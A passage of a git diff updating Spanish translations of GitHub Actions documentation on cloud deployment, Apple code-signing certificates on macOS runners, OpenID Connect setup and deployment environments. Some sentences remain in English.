+Kustomize es una herramietna opcional que se utiliza para administrar las especificaciones YAML. Después de crear un archivo de _kustomization_, el flujo de trabajo que se muestra a continuación puede utilizarse para configurar dinámicamente los campos de la imagen y agregar el resultado a `kubectl`. Para obtener más información, consulta la sección [uso de kustomize](https://github.com/kubernetes-sigs/kustomize#usage).
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-### (Optional) Configure a deployment environment
+### (Opcional) Configurar un ambiente de despliegue
 
 {% data reusables.actions.about-environments %}
 {% endif %}
 
-## Creating the workflow
+## Crear un flujo de trabajo
 
-Once you've completed the prerequisites, you can proceed with creating the workflow.
+Una vez que hayas completado los prerequisitos, puedes proceder con la creación del flujo de trabajo.
 
-The following example workflow demonstrates how to build a container image and push it to GCR. It then uses the Kubernetes tools (such as `kubectl` and `kustomize`) to pull the image into the cluster deployment.
+El siguiente flujo de trabajo demuestra cómo crear una imagen de contenedor y cómo subirla a GCR. Utiliza entonces las herramientas de Kubernetes (tales como `kubectl` y `kustomize`) para extraer la imagen en el despliegue del agrupamiento.
 
-Under the `env` key, change the value of `GKE_CLUSTER` to the name of your cluster, `GKE_ZONE` to your cluster zone, `DEPLOYMENT_NAME` to the name of your deployment, and `IMAGE` to the name of your image.
+Debajo de la llave `env`, cambia el valor de `GKE_CLUSTER` al nombre de tu clúster, el de `GKE_ZONE` a tu zona de clúster, el de `DEPLOYMENT_NAME` al nombre de tu despliegue y el de `IMAGE` al nombre de tu imagen.
 
 {% data reusables.actions.delete-env-key %}
 
@@ -206,11 +206,11 @@ jobs:
         kubectl get services -o wide
 ```
 
-## Additional resources
+## Recursos adicionales
 
-For more information on the tools used in these examples, see the following documentation:
+Para obtener más información sobre las herramientas que se utilizan en estos ejemplos, consulta la siguiente documentación:
 
-* For the full starter workflow, see the ["Build and Deploy to GKE" workflow](https://github.com/actions/starter-workflows/blob/main/deployments/google.yml).
-* For more starter workflows and accompanying code, see Google's [{% data variables.product.prodname_actions %} example workflows](https://github.com/google-github-actions/setup-gcloud/tree/master/example-workflows/).
-* The Kubernetes YAML customization engine: [Kustomize](https://kustomize.io/).
-* "[Deploying a containerized web application](https://cloud.google.com/kubernetes-engine/docs/tutorials/hello-app)" in the Google Kubernetes Engine documentation.
+* Para encontrar un flujo de trabajo inicial completo, consulta el [flujo de trabajo de "Crear y Desplegar hacia GKE"](https://github.com/actions/starter-workflows/blob/main/deployments/google.yml).
+* Para ver más flujos de trabajo iniciales y el código que los acompaña, consulta los [Flujos de trabajo de ejemplo de {% data variables.product.prodname_actions %}](https://github.com/google-github-actions/setup-gcloud/tree/master/example-workflows/) de Google.
+* El motor de personalización de YAML de Kubernetes: [Kustomize](https://kustomize.io/).
+* "[Desplegar una aplicación web contenerizada](https://cloud.google.com/kubernetes-engine/docs/tutorials/hello-app)" en la documentación de Google Kubernetes Engine.
diff --git a/translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/index.md b/translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/index.md
index 463324f7b7..56c61d9b6d 100644
--- a/translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/index.md
+++ b/translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/index.md
@@ -4,10 +4,11 @@ shortTitle: Deploying to your cloud provider
 intro: 'You can deploy to various cloud providers, such as AWS, Azure, and GKE.'
 versions:
   fpt: '*'
-  ghae: 'issue-4856'
+  ghae: '*'
   ghec: '*'
+  ghes: '*'
 children:
   - /deploying-to-amazon-elastic-container-service
-  - /deploying-to-azure-app-service
+  - /deploying-to-azure
   - /deploying-to-google-kubernetes-engine
 ---
diff --git a/translations/es-ES/content/actions/deployment/deploying-xcode-applications/installing-an-apple-certificate-on-macos-runners-for-xcode-development.md b/translations/es-ES/content/actions/deployment/deploying-xcode-applications/installing-an-apple-certificate-on-macos-runners-for-xcode-development.md
index 754cefaf0a..f4c07161ee 100644
--- a/translations/es-ES/content/actions/deployment/deploying-xcode-applications/installing-an-apple-certificate-on-macos-runners-for-xcode-development.md
+++ b/translations/es-ES/content/actions/deployment/deploying-xcode-applications/installing-an-apple-certificate-on-macos-runners-for-xcode-development.md
@@ -1,6 +1,6 @@
 ---
-title: Installing an Apple certificate on macOS runners for Xcode development
-intro: 'You can sign Xcode apps within your continuous integration (CI) workflow by installing an Apple code signing certificate on {% data variables.product.prodname_actions %} runners.'
+title: Instalar un certificado de Apple en ejecutores de macOS para el desarrollo de Xcode
+intro: 'Puedes firmar apps de Xcode dentro de tu flujo de integración continua (IC) si instalas un certificado de firma de código de Apple en los ejecutores de {% data variables.product.prodname_actions %}.'
 redirect_from:
   - /actions/guides/installing-an-apple-certificate-on-macos-runners-for-xcode-development
   - /actions/deployment/installing-an-apple-certificate-on-macos-runners-for-xcode-development
@@ -13,66 +13,66 @@ type: tutorial
 topics:
   - CI
   - Xcode
-shortTitle: Sign Xcode applications
+shortTitle: Firmar aplicaciones de Xcode
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introducción
 
-This guide shows you how to add a step to your continuous integration (CI) workflow that installs an Apple code signing certificate and provisioning profile on {% data variables.product.prodname_actions %} runners. This will allow you to sign your Xcode apps for publishing to the Apple App Store, or distributing it to test groups.
+Esta guía te muestra cómo agregar un paso a tu flujo de trabajo de integración continua (IC), el cual instale un certificado de firma de código de Apple y perfil de aprovisionamiento en los ejecutores de {% data variables.product.prodname_actions %}. Esto te permitirá firmar tus apps de Xcode para publicarlas en la App Store de Apple o distribuirlas a los grupos de prueba.
 
-## Prerequisites
+## Prerrequisitos
 
-You should be familiar with YAML and the syntax for {% data variables.product.prodname_actions %}. For more information, see:
+Deberías estar familiarizado con YAML y la sintaxis para las {% data variables.product.prodname_actions %}. Para obtener más información, consulta:
 
-- "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
-- "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)"
+- "[Aprende sobre las {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
+- "[Sintaxis de flujo de trabajo para las {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)"
 
-You should have an understanding of Xcode app building and signing. For more information, see the [Apple developer documentation](https://developer.apple.com/documentation/).
+Debes entender la forma en la que la app de Xcode crea y firma las apps. Para obtener más información, consulta la [Documentación de desarrollador de Apple](https://developer.apple.com/documentation/).
 
-## Creating secrets for your certificate and provisioning profile
+## Crear secretos para tu certificado y perfil de aprovisionamiento
 
-The signing process involves storing certificates and provisioning profiles, transferring them to the runner, importing them to the runner's keychain, and using them in your build.
+El proceso de inicio de sesión involucra almacenar certificados y perfiles de aprovisionamiento, transferirlos al ejecutor, importarlos en el keychain del ejecutor y utilizarlos en tu compilación.
 
-To use your certificate and provisioning profile on a runner, we strongly recommend that you use {% data variables.product.prodname_dotcom %} secrets. For more information on creating secrets and using them in a workflow, see "[Encrypted secrets](/actions/reference/encrypted-secrets)."
+Para utilizar tu certificado y perfil de aprovisionamiento en un ejecutor, te recomendamos fuertemente que utilices los secretos de {% data variables.product.prodname_dotcom %}. Para obtener más información sobre cómo crear secretos y utilizarlos en un flujo de trabajo, consulta la sección "[Secretos cifrados](/actions/reference/encrypted-secrets)".
 
-Create secrets in your repository or organization for the following items:
+Crea secretos en tu repositorio u organización para los siguientes elementos:
 
-* Your Apple signing certificate.
+* Tu certificado de inicio de sesión de Apple.
 
-  - This is your `p12` certificate file. For more information on exporting your signing certificate from Xcode, see the [Xcode documentation](https://help.apple.com/xcode/mac/current/#/dev154b28f09).
-  
-  - You should convert your certificate to Base64 when saving it as a secret. In this example, the secret is named `BUILD_CERTIFICATE_BASE64`.
+  - Este es tu archivo de certificado `p12`. Para obtener más información sobre cómo exportar tu certificado de inicio de sesión desde Xcode, consulta la [documentación de Xcode](https://help.apple.com/xcode/mac/current/#/dev154b28f09).
 
-  - Use the following command to convert your certificate to Base64 and copy it to your clipboard:
+  - Deberías convertir tu certificado en Base64 cuando lo guartes como secreto. En este ejemplo, el secreto se llama `BUILD_CERTIFICATE_BASE64`.
+
+  - Utiliza el siguiente comando para convertir tu certificado en Base64 y cópialo a tu portapapeles:
 
     ```shell
     base64 <em>build_certificate</em>.p12 | pbcopy
     ```
-* The password for your Apple signing certificate.
-  - In this example, the secret is named `P12_PASSWORD`.
+* La contraseña de tu certificado de inicio de sesión de Apple.
+  - En este ejemplo, el secreto se llama `P12_PASSWORD`.
 
-* Your Apple provisioning profile.
+* Tu perfil de aprovisionamiento de Apple.
 
-  - For more information on exporting your provisioning profile from Xcode, see the [Xcode documentation](https://help.apple.com/xcode/mac/current/#/deva899b4fe5).
+  - Para obtener más información sobre cómo exportar tu perfil de aprovisionamiento desde Xcode, consulta la [documentación de Xcode](https://help.apple.com/xcode/mac/current/#/deva899b4fe5).
 
-  - You should convert your provisioning profile to Base64 when saving it as a secret. In this example, the secret is named `BUILD_PROVISION_PROFILE_BASE64`.
+  - Debes convertir tu perfil de aprovisionamiento a Base64 cuando lo guardas como secreto. En este ejemplo, el secreto se llama `BUILD_PROVISION_PROFILE_BASE64`.
+
+  - Utiliza el siguiente comando para convertir tu perfil de aprovisionamiento en Base64 y cópialo a tu portapapeles:
 
-  - Use the following command to convert your provisioning profile to Base64 and copy it to your clipboard:
-  
     ```shell
     base64 <em>provisioning_profile.mobileprovision</em> | pbcopy
     ```
 
-* A keychain password.
+* Una contraseña de keychain.
 
-  - A new keychain will be created on the runner, so the password for the new keychain can be any new random string. In this example, the secret is named `KEYCHAIN_PASSWORD`.
+  - Se creará una keychain nueva en el ejecutor para que la contraseña de esta pueda ser cualquier secuencia aleatoria. En este ejemplo, el secreto se llama `KEYCHAIN_PASSWORD`.
 
-## Add a step to your workflow
+## Agrega un paso a tu flujo de trabajo
 
-This example workflow includes a step that imports the Apple certificate and provisioning profile from the {% data variables.product.prodname_dotcom %} secrets, and installs them on the runner.
+Este flujo de trabajo de ejemplo incluye un paso que importa el certificado de Apple y perfil de aprovisionamiento desde los secretos de {% data variables.product.prodname_dotcom %} y los instala en el ejecutor.
 
 {% raw %}
 ```yaml{:copy}
@@ -119,13 +119,13 @@ jobs:
 ```
 {% endraw %}
 
-## Required clean-up on self-hosted runners
+## Limpieza requerida en los ejecutores auto-hospedados
 
-{% data variables.product.prodname_dotcom %}-hosted runners are isolated virtual machines that are automatically destroyed at the end of the job execution. This means that the certificates and provisioning profile used on the runner during the job will be destroyed with the runner when the job is completed.
+Los ejecutores hospedados en {% data variables.product.prodname_dotcom %} son máquinas virtuales aisladas que se destruyen automáticamente al final de la ejecución del job. Esto significa que los certificados y prefil de aprovisionamiento que se utiliza en el ejecutor durante el job se destruirán con el ejecutor cuando se complete dicho job.
 
-On self-hosted runners, the `$RUNNER_TEMP` directory is cleaned up at the end of the job execution, but the keychain and provisioning profile might still exist on the runner.
+En los ejecutores auto-hospedados, el directorio `$RUNNER_TEMP` se limpia al final de la ejecución del job, pero la keychain y archivo de aprovisionamiento podrían seguir existiendo en el ejecutor.
 
-If you use self-hosted runners, you should add a final step to your workflow to help ensure that these sensitive files are deleted at the end of the job. The workflow step shown below is an example of how to do this.
+Si utilizas ejecutores auto-programados, deberás agregar un paso final a tu flujo de trabajo para ayudar a asegurarte que estos archivos sensibles se borren al final del job. El paso de flujo de trabajo que se muestra a continuación es un ejemplo de como hacer esto.
 
 {% raw %}
 ```yaml
diff --git a/translations/es-ES/content/actions/deployment/index.md b/translations/es-ES/content/actions/deployment/index.md
index 3117e8d507..50d6a818bc 100644
--- a/translations/es-ES/content/actions/deployment/index.md
+++ b/translations/es-ES/content/actions/deployment/index.md
@@ -1,7 +1,7 @@
 ---
-title: Deployment
-shortTitle: Deployment
-intro: 'Automatically deploy projects with {% data variables.product.prodname_actions %}.'
+title: Despliegue
+shortTitle: Despliegue
+intro: 'Despliega proyectos automáticamente con {% data variables.product.prodname_actions %}.'
 versions:
   fpt: '*'
   ghes: '*'
diff --git a/translations/es-ES/content/actions/deployment/managing-your-deployments/viewing-deployment-history.md b/translations/es-ES/content/actions/deployment/managing-your-deployments/viewing-deployment-history.md
index a940a03bc6..60a8b33bb5 100644
--- a/translations/es-ES/content/actions/deployment/managing-your-deployments/viewing-deployment-history.md
+++ b/translations/es-ES/content/actions/deployment/managing-your-deployments/viewing-deployment-history.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing deployment history
-intro: View current and previous deployments for your repository.
+title: Visualizar el historial de despliegues
+intro: Ver los despliegues actuales y previos de tu repositorio.
 versions:
   fpt: '*'
   ghes: '*'
@@ -8,22 +8,22 @@ versions:
   ghec: '*'
 topics:
   - API
-shortTitle: View deployment history
+shortTitle: Ver el historial de despliegue
 redirect_from:
   - /developers/overview/viewing-deployment-history
   - /actions/deployment/viewing-deployment-history
 ---
 
 
-You can deliver deployments through {% ifversion fpt or ghae or ghes > 3.0 or ghec %}{% data variables.product.prodname_actions %} and environments or with {% endif %}the REST API and third party apps. {% ifversion fpt or ghae ghes > 3.0 or ghec %}For more information about using environments to deploy with {% data variables.product.prodname_actions %}, see "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)." {% endif %}For more information about deployments with the REST API, see "[Repositories](/rest/reference/repos#deployments)."
+Puedes entregar despliegues a través de {% ifversion fpt or ghae or ghes > 3.0 or ghec %}{% data variables.product.prodname_actions %} y de ambientes o con {% endif %}la API de REST y apps de terceros. {% ifversion fpt or ghae ghes > 3.0 or ghec %}Para obtener más información sobre cómo utilizar ambientes para desplegar con {% data variables.product.prodname_actions %}, consulta la sección "[Utilizar ambientes para despliegue](/actions/deployment/using-environments-for-deployment)". {% endif %}Para obtener más información acerca de los despliegues con la API de REST, consulta la sección "[Repositorios](/rest/reference/repos#deployments)".
 
-To view current and past deployments, click **Environments** on the home page of your repository.
+Para ver los despliegues actuales y pasados, da clic en **Ambientes** en la página principal de tu repositorio.
 {% ifversion ghae %}
-![Environments](/assets/images/enterprise/2.22/environments-sidebar.png){% else %}
+![Ambientes](/assets/images/enterprise/2.22/environments-sidebar.png){% else %}
 ![Environments](/assets/images/environments-sidebar.png){% endif %}
 
-The deployments page displays the last active deployment of each environment for your repository. If the deployment includes an environment URL, a **View deployment** button that links to the URL is shown next to the deployment.
+La página de despliegues muestra el último despliegue activo de cada ambiente para tu repositorio. If the deployment includes an environment URL, a **View deployment** button that links to the URL is shown next to the deployment.
 
-The activity log shows the deployment history for your environments. By default, only the most recent deployment for an environment has an `Active` status; all previously active deployments have an `Inactive` status. For more information on automatic inactivation of deployments, see "[Inactive deployments](/rest/reference/repos#inactive-deployments)."
+La bitácora de actividad muestra el historial de despliegues para tus ambientes. Predeterminadamente, solo el despliegue más reciente de un ambiente tiene un estado de `Active`; todos los despliegues previos tendrán un estado de `Inactive`. Para obtener más información sobre la inactivación automática de despliegues, consulta la sección "[Despliegues inactivos](/rest/reference/deployments#inactive-deployments)".
 
-You can also use the REST API to get information about deployments. For more information, see "[Repositories](/rest/reference/repos#deployments)."
+También puedes utilizar la API de REST para obtener información sobre los despliegues. Para obtener más información, consulta la sección "[Repositorios](/rest/reference/repos#deployments)".
diff --git a/translations/es-ES/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md b/translations/es-ES/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md
index d7dcd59852..33a04c0e18 100644
--- a/translations/es-ES/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md
+++ b/translations/es-ES/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md
@@ -85,13 +85,13 @@ env:
 # permission can be added at job level or workflow level    
 permissions:
       id-token: write
-      contents: read    # This is required for actions/checkout@v1
+      contents: read    # This is required for actions/checkout@v2
 jobs:
   S3PackageUpload:
     runs-on: ubuntu-latest
     steps:
       - name: Git clone the repository
-        uses: actions/checkout@v1
+        uses: actions/checkout@v2
       - name: configure aws credentials
         uses: aws-actions/configure-aws-credentials@master
         with:
diff --git a/translations/es-ES/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-cloud-providers.md b/translations/es-ES/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-cloud-providers.md
index 51bf7529cc..b6b78ef434 100644
--- a/translations/es-ES/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-cloud-providers.md
+++ b/translations/es-ES/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-cloud-providers.md
@@ -44,7 +44,7 @@ permissions:
   id-token: write
 ```
 
-You may need to specify additional permissions here, depending on your workflow's requirements.
+Puede que necesites especificar permisos adicionales aquí, dependiendo de los requisitos de tu flujo de trabajo.
 
 ### Using official actions
 
@@ -58,7 +58,7 @@ If you're not using an official action, then {% data variables.product.prodname_
 
 To update your workflows using this approach, you will need to make three changes to your YAML:
 
-1. Add permissions settings for the token.
+1. Agregar ajustes de permisos para el token.
 2. Add code that requests the OIDC token from {% data variables.product.prodname_dotcom %}'s OIDC provider.
 3. Add code that exchanges the OIDC token with your cloud provider for an access token.
 
diff --git a/translations/es-ES/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md b/translations/es-ES/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md
index ec07382cbc..6ebd2cf85d 100644
--- a/translations/es-ES/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md
+++ b/translations/es-ES/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md
@@ -1,11 +1,11 @@
 ---
 title: Configuring OpenID Connect in Google Cloud Platform
 shortTitle: Configuring OpenID Connect in Google Cloud Platform
-intro: 'Use OpenID Connect within your workflows to authenticate with Google Cloud Platform.'
+intro: Use OpenID Connect within your workflows to authenticate with Google Cloud Platform.
 miniTocMaxHeadingLevel: 3
 versions:
   fpt: '*'
-  ghae: 'issue-4856'
+  ghae: issue-4856
   ghec: '*'
 type: tutorial
 topics:
@@ -15,13 +15,13 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Overview
+## Resumen
 
-OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to access resources in Google Cloud Platform (GCP), without needing to store the GCP credentials as long-lived {% data variables.product.prodname_dotcom %} secrets. 
+OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to access resources in Google Cloud Platform (GCP), without needing to store the GCP credentials as long-lived {% data variables.product.prodname_dotcom %} secrets.
 
 This guide gives an overview of how to configure GCP to trust {% data variables.product.prodname_dotcom %}'s OIDC as a federated identity, and includes a workflow example for the [`google-github-actions/auth`](https://github.com/google-github-actions/auth) action that uses tokens to authenticate to GCP and access resources.
 
-## Prerequisites
+## Prerrequisitos
 
 {% data reusables.actions.oidc-link-to-intro %}
 
@@ -33,30 +33,30 @@ To configure the OIDC identity provider in GCP, you will need to perform the fol
 
 1. Create a new identity pool.
 2. Configure the mapping and add conditions.
-3. Connect the new pool to a service account. 
+3. Connect the new pool to a service account.
 
 Additional guidance for configuring the identity provider:
 
 - For security hardening, make sure you've reviewed ["Configuring the OIDC trust with the cloud"](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#configuring-the-oidc-trust-with-the-cloud). For an example, see ["Configuring the subject in your cloud provider"](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#configuring-the-subject-in-your-cloud-provider).
-- For the service account to be available for configuration, it needs to be assigned to the `roles/iam.workloadIdentityUser` role. For more information, see [the GCP documentation](https://cloud.google.com/iam/docs/workload-identity-federation?_ga=2.114275588.-285296507.1634918453#conditions).
+- For the service account to be available for configuration, it needs to be assigned to the `roles/iam.workloadIdentityUser` role. Para obtener más información, consulta la "[Documentación de GCP](https://cloud.google.com/iam/docs/workload-identity-federation?_ga=2.114275588.-285296507.1634918453#conditions)".
 - The Issuer URL to use: `https://token.actions.githubusercontent.com`
 
-## Updating your {% data variables.product.prodname_actions %} workflow
+## Actualizar tu flujo de trabajo de {% data variables.product.prodname_actions %}
 
 To update your workflows for OIDC, you will need to make two changes to your YAML:
-1. Add permissions settings for the token.
+1. Agregar ajustes de permisos para el token.
 2. Use the [`google-github-actions/auth`](https://github.com/google-github-actions/auth) action to exchange the OIDC token (JWT) for a cloud access token.
 
-### Adding permissions settings
+### Agregar ajustes de permisos
 
-The workflow will require a `permissions` setting with a defined [`id-token`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) value. If you only need to fetch an OIDC token for a single job, then this permission can be set within that job. For example:
+The workflow will require a `permissions` setting with a defined [`id-token`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) value. If you only need to fetch an OIDC token for a single job, then this permission can be set within that job. Por ejemplo:
 
 ```yaml{:copy}
 permissions:
   id-token: write
 ```
 
-You may need to specify additional permissions here, depending on your workflow's requirements. 
+Puede que necesites especificar permisos adicionales aquí, dependiendo de los requisitos de tu flujo de trabajo.
 
 ### Requesting the access token
 
diff --git a/translations/es-ES/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-hashicorp-vault.md b/translations/es-ES/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-hashicorp-vault.md
index 84fa71bfb6..369aec4b57 100644
--- a/translations/es-ES/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-hashicorp-vault.md
+++ b/translations/es-ES/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-hashicorp-vault.md
@@ -39,7 +39,7 @@ Configure the vault to accept JSON Web Tokens (JWT) for authentication:
 ## Actualizar tu flujo de trabajo de {% data variables.product.prodname_actions %}
 
 To update your workflows for OIDC, you will need to make two changes to your YAML:
-1. Add permissions settings for the token.
+1. Agregar ajustes de permisos para el token.
 2. Use the [`hashicorp/vault-action`](https://github.com/hashicorp/vault-action) action to exchange the OIDC token (JWT) for a cloud access token.
 
 
@@ -52,7 +52,7 @@ To add OIDC integration to your workflows that allow them to access secrets in V
 
 This example demonstrates how to use OIDC with the official action to request a secret from HashiCorp Vault.
 
-### Adding permissions settings
+### Agregar ajustes de permisos
 
 The workflow will require a `permissions` setting with a defined [`id-token`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) value. If you only need to fetch an OIDC token for a single job, then this permission can be set within that job. Por ejemplo:
 
@@ -61,7 +61,7 @@ permissions:
   id-token: write
 ```
 
-You may need to specify additional permissions here, depending on your workflow's requirements.
+Puede que necesites especificar permisos adicionales aquí, dependiendo de los requisitos de tu flujo de trabajo.
 
 ### Requesting the access token
 
diff --git a/translations/es-ES/content/actions/deployment/targeting-different-environments/using-environments-for-deployment.md b/translations/es-ES/content/actions/deployment/targeting-different-environments/using-environments-for-deployment.md
index 065ae4b7de..0621005ce0 100644
--- a/translations/es-ES/content/actions/deployment/targeting-different-environments/using-environments-for-deployment.md
+++ b/translations/es-ES/content/actions/deployment/targeting-different-environments/using-environments-for-deployment.md
@@ -1,7 +1,7 @@
 ---
 title: Using environments for deployment
 shortTitle: Use environments for deployment
-intro: You can configure environments with protection rules and secrets. A workflow job that references an environment must follow any protection rules for the environment before running or accessing the environment's secrets.
+intro: Puedes configurr ambientes con reglas de protección y secretos. A workflow job that references an environment must follow any protection rules for the environment before running or accessing the environment's secrets.
 product: '{% data reusables.gated-features.environments %}'
 miniTocMaxHeadingLevel: 3
 redirect_from:
@@ -16,58 +16,58 @@ versions:
 ---
 
 
-## About environments
+## Acerca de los ambientes
 
-Environments are used to describe a general deployment target like `production`, `staging`, or `development`. When a {% data variables.product.prodname_actions %} workflow deploys to an environment, the environment is displayed on the main page of the repository. For more information about viewing deployments to environments, see "[Viewing deployment history](/developers/overview/viewing-deployment-history)."
+Los ambientes se utilizan para describir un objetivo de despliegue general como `production`, `staging` o `development`. Cuando se despliega un flujo de trabajo de {% data variables.product.prodname_actions %} en un ambiente, dicho ambiente se desplegará en la página principal del repositorio. Para obtener más información sobre cómo visualizar los despliegues hacia los ambientes, consulta la sección "[Ver el historial de despliegue](/developers/overview/viewing-deployment-history)".
 
-You can configure environments with protection rules and secrets. When a workflow job references an environment, the job won't start until all of the environment's protection rules pass. A job also cannot access secrets that are defined in an environment until all the environment protection rules pass.
+Puedes configurr ambientes con reglas de protección y secretos. Cuando un job de un flujo de trabajo referencia un ambiente, el job no comenzará hasta que todas las reglas de protección del ambiente pasen. Un job tampoco puede acceder a los secretos que se definen en un ambiente sino hasta que todas las reglas de protección de dicho ambiente pasen.
 
 {% ifversion fpt %}
 {% note %}
 
-**Note:** You can only configure environments for public repositories. If you convert a repository from public to private, any configured protection rules or environment secrets will be ignored, and you will not be able to configure any environments. If you convert your repository back to public, you will have access to any previously configured protection rules and environment secrets.
+**Note:** You can only configure environments for public repositories. Si conviertes un repositorio de público a privado, cualquier regla de protección o secretos de ambiente que hubieses configurado se ingorarán y no podrás configurar ningún ambiente. Si conviertes tu repositorio en público nuevamente, tendrás acceso a cualquier regla de protección y secreto de ambiente que hubieras configurado previamente.
 
-Organizations that use {% data variables.product.prodname_ghe_cloud %} can configure environments for private repositories. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/actions/deployment/targeting-different-environments/using-environments-for-deployment). {% data reusables.enterprise.link-to-ghec-trial %}
+Organizations that use {% data variables.product.prodname_ghe_cloud %} can configure environments for private repositories. Para obtener más información, consulta la sección [documentación de {% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/actions/deployment/targeting-different-environments/using-environments-for-deployment). {% data reusables.enterprise.link-to-ghec-trial %}
 
 {% endnote %}
 {% endif %}
 
-## Environment protection rules
+## Reglas de protección de ambiente
 
-Environment protection rules require specific conditions to pass before a job referencing the environment can proceed. {% ifversion fpt or ghae or ghes > 3.1 or ghec %}You can use environment protection rules to require a manual approval, delay a job, or restrict the environment to certain branches.{% else %}You can use environment protection rules to require a manual approval or delay a job.{% endif %}
+Las reglas de protección de ambiente requieren que pasen condiciones específicas antes de que un job que referencia al ambiente pueda proceder. {% ifversion fpt or ghae or ghes > 3.1 or ghec %}Puedes utilizar las reglas de protección de ambiente para requerir una aprobación manual, retrasar un job, o restringir el ambiente a ramas específicas.{% else %}Puedes utilizar la protección de ambiente para requerir una aprobación manual o retrasar un job.{% endif %}
 
-### Required reviewers
+### Revisores requeridos
 
-Use required reviewers to require a specific person or team to approve workflow jobs that reference the environment. You can list up to six users or teams as reviewers. The reviewers must have at least read access to the repository. Only one of the required reviewers needs to approve the job for it to proceed.
+Utiliza los revisores requeridos para requerir que una persona o equipo específicos aprueben los jobs del flujo de trabajo que referencian el ambiente. Puedes listar hasta seis usuarios o equipos como revisores. Los revisores deben tener acceso de lectura en el repositorio como mínimo. Solo uno de los revisores requeridos necesita aprobar el job para que éste pueda proceder.
 
-For more information on reviewing jobs that reference an environment with required reviewers, see "[Reviewing deployments](/actions/managing-workflow-runs/reviewing-deployments)."
+Para obtener más información sobre cómo revisar jobs que referencian un ambiente con revisores requeridos, consulta la sección "[revisar los despliegues](/actions/managing-workflow-runs/reviewing-deployments)".
 
-### Wait timer
+### Temporizador de espera
 
-Use a wait timer to delay a job for a specific amount of time after the job is initially triggered. The time (in minutes) must be an integer between 0 and 43,200 (30 days).
+Utiliza un temporizador de espera para retrasar un job durante una cantidad de tiempo específica después de que el job se active inicialmente. El tiempo (en minutos) debe ser un número entero entre 0 y 43,200 (30 días).
 
 {% ifversion fpt or ghae or ghes > 3.1 or ghec %}
-### Deployment branches
+### Ramas de despliegue
 
-Use deployment branches to restrict which branches can deploy to the environment. Below are the options for deployment branches for an environment:
+Utiliza ramas de despliegue para restringir las ramas que pueden hacer despliegues en el ambiente. A continuación encnotrarás las opciones para las ramas de despliegue de un ambiente:
 
-* **All branches**: All branches in the repository can deploy to the environment.
-* **Protected branches**: Only branches with branch protection rules enabled can deploy to the environment. If no branch protection rules are defined for any branch in the repository, then all branches can deploy. For more information about branch protection rules, see "[About protected branches](/github/administering-a-repository/about-protected-branches)."
-* **Selected branches**: Only branches that match your specified name patterns can deploy to the environment.
+* **Todas las ramas**: Todas las ramas del repositorio pueden hacer despliegues en el ambiente.
+* **Ramas protegidas**: Solo las ramas que tengan reglas de protección de rama habilitadas podrán hacer despliegues en el ambiente. Si no se han definido reglas de protección de ramas en ninguna de las ramas del repositorio, entonces todas las ramas podrán hacer despliegues. Para obtener más iformación acerca de las reglas de protección de rama, consulta la sección "[Acerca de las ramas protegidas](/github/administering-a-repository/about-protected-branches)".
+* **Ramas selectas**: Solo las ramas que coincidan con tus patrones específicos de nombre podrán hacer despliegues en el ambiente.
 
-  For example, if you specify `releases/*` as a deployment branch rule, only branches whose name begins with `releases/` can deploy to the environment. (Wildcard characters will not match `/`. To match branches that begin with `release/` and contain an additional single slash, use `release/*/*`.) If you add `main` as a deployment branch rule, a branch named `main` can also deploy to the environment. For more information about syntax options for deployment branches, see the [Ruby File.fnmatch documentation](https://ruby-doc.org/core-2.5.1/File.html#method-c-fnmatch).
+  Por ejemplo, si especificas `releases/*` como una regla de rama de despliegue, solo aquellas ramas cuyo nombre inicie con `releases/` podrán hacer despliegues en el ambiente. (Los caracteres de comodín no coincidirán con `/`. Para hacer coincidir las ramas que inicien con `release/` y contengan una diagonal sencilla adicional utiliza `release/*/*`.) Si agregas `main` como regla de rama de despliegue, la rama que se llame `main` también podrá hacer despliegues en el ambiente. Para obtener más información sobre las opciones de sintaxis para las ramas de despliegue, consulta la [documentación de File.fnmatch de Ruby](https://ruby-doc.org/core-2.5.1/File.html#method-c-fnmatch).
 {% endif %}
-## Environment secrets
